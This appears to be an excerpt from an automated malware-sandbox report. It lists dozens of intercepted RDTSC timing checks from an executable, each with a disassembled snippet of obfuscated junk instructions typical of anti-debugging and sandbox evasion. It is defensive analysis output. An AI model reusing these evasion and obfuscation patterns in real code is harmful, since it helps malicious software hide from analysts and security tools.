Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59CD3 second address: F59D5D instructions: 0x00000000 rdtsc 0x00000002 js 00007F6EC0DB0824h 0x00000008 jmp 00007F6EC0DB081Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F6EC0DB0818h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D32CDh] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F6EC0DB0818h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e push 00000000h 0x00000050 movsx edi, dx 0x00000053 xchg eax, esi 0x00000054 jnp 00007F6EC0DB082Eh 0x0000005a jne 00007F6EC0DB0828h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58EA5 second address: F58EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59D5D second address: F59D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59D61 second address: F59D67 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59D67 second address: F59D6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58EA9 second address: F58F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F6EC0DB0658h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push dword ptr fs:[00000000h] 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F6EC0DB0658h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 clc 0x00000043 mov ebx, ecx 0x00000045 mov dword ptr fs:[00000000h], esp 0x0000004c or dword ptr [ebp+122D2629h], edi 0x00000052 mov eax, dword ptr [ebp+122D0A3Dh] 0x00000058 push FFFFFFFFh 0x0000005a jl 00007F6EC0DB0659h 0x00000060 mov bx, dx 0x00000063 nop 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F6EC0DB0665h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AF53 second address: F5AF5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AF5D second address: F5AF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CDC2 second address: F5CDF5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, esi 0x0000000d push 00000000h 0x0000000f mov bx, 4341h 0x00000013 push 00000000h 0x00000015 xchg eax, esi 0x00000016 jmp 00007F6EC0DB0820h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6EC0DB081Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF29 second address: F5CF45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6EC0DB0665h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CF45 second address: F5CF49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FE3F second address: F5FE4F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FE4F second address: F5FE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60D8B second address: F60DFA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D2F0Fh], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F6EC0DB0658h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c add bx, F040h 0x00000031 push esi 0x00000032 or dword ptr [ebp+122D2F63h], edx 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c mov dword ptr [ebp+122D2F21h], edx 0x00000042 pop ebx 0x00000043 xchg eax, esi 0x00000044 push ecx 0x00000045 jmp 00007F6EC0DB0663h 0x0000004a pop ecx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push edx 0x0000004f jo 00007F6EC0DB0656h 0x00000055 pop edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60073 second address: F60077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60077 second address: F6007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6007D second address: F60087 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60087 second address: F6008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68B76 second address: F68B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68B7A second address: F68B9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68CE8 second address: F68CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68CEE second address: F68CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F6EC0DB065Ah 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68CFF second address: F68D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68E73 second address: F68E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68E79 second address: F68E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F6EC0DB0816h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68E88 second address: F68E8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68E8E second address: F68EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6EC0DB0825h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68EB0 second address: F68EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68EB4 second address: F68EBA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68EBA second address: F68EC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68EC1 second address: F68ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69008 second address: F69012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6EC0DB0656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69012 second address: F69016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69016 second address: F6901C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6901C second address: F69036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB0826h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69036 second address: F69066 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007F6EC0DB0656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 jbe 00007F6EC0DB0656h 0x00000016 jmp 00007F6EC0DB0661h 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jnc 00007F6EC0DB0656h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69066 second address: F69078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F328 second address: F6F386 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007F6EC0DB065Eh 0x00000014 jmp 00007F6EC0DB0663h 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c jg 00007F6EC0DB066Dh 0x00000022 jmp 00007F6EC0DB0667h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push edi 0x0000002e jg 00007F6EC0DB0656h 0x00000034 pop edi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F585 second address: F6F58B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F58B second address: F6F59E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB065Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F59E second address: F6F5C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c jns 00007F6EC0DB0816h 0x00000012 jg 00007F6EC0DB0816h 0x00000018 popad 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pop edx 0x0000001d popad 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 push edx 0x00000026 pop edx 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6F5C6 second address: F6F5CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE116 second address: EFE13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F6EC0DB0816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F6EC0DB0821h 0x00000012 jmp 00007F6EC0DB081Bh 0x00000017 popad 0x00000018 jg 00007F6EC0DB082Eh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE13D second address: EFE143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFE143 second address: EFE14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73116 second address: F7311F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73688 second address: F7368C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7368C second address: F73698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6EC0DB0656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73698 second address: F736B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB0824h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7384B second address: F73850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73850 second address: F73868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB0824h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73868 second address: F7386C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74132 second address: F74139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74139 second address: F74155 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6EC0DB0664h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74155 second address: F74172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0829h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75A1A second address: F75A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6EC0DB0656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79AFD second address: F79B0F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F6EC0DB0816h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79B0F second address: F79B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80CCB second address: F80CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6EC0DB0825h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80CE8 second address: F80D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6EC0DB0662h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04BD4 second address: F04BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04BD8 second address: F04BF6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6EC0DB0668h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F8C2 second address: F7F8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F6EC0DB081Eh 0x0000000d pop esi 0x0000000e js 00007F6EC0DB081Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FF86 second address: F7FF8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FF8C second address: F7FFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6EC0DB0826h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FFAA second address: F7FFC5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jmp 00007F6EC0DB0662h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8037F second address: F80389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80389 second address: F80395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F804DF second address: F804E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F804E4 second address: F80522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6EC0DB0662h 0x0000000b popad 0x0000000c jg 00007F6EC0DB0658h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jnc 00007F6EC0DB0662h 0x0000001d push eax 0x0000001e push edx 0x0000001f jbe 00007F6EC0DB0656h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80522 second address: F80528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80528 second address: F80532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80532 second address: F8053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8053C second address: F80540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80677 second address: F8067D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8067D second address: F8069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6EC0DB0664h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8069B second address: F806A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F806A1 second address: F806CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F6EC0DB0656h 0x0000000b popad 0x0000000c jo 00007F6EC0DB0666h 0x00000012 jmp 00007F6EC0DB065Eh 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F806CB second address: F806D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F806D9 second address: F806E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BA47 second address: F2BA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 ja 00007F6EC0DB082Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BA56 second address: F2BA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0663h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BA6D second address: F2BA75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08232 second address: F08255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 jl 00007F6EC0DB0697h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6EC0DB0661h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08255 second address: F08259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08259 second address: F08271 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6EC0DB0656h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6EC0DB065Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08271 second address: F0827B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6EC0DB0816h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8572D second address: F8573B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
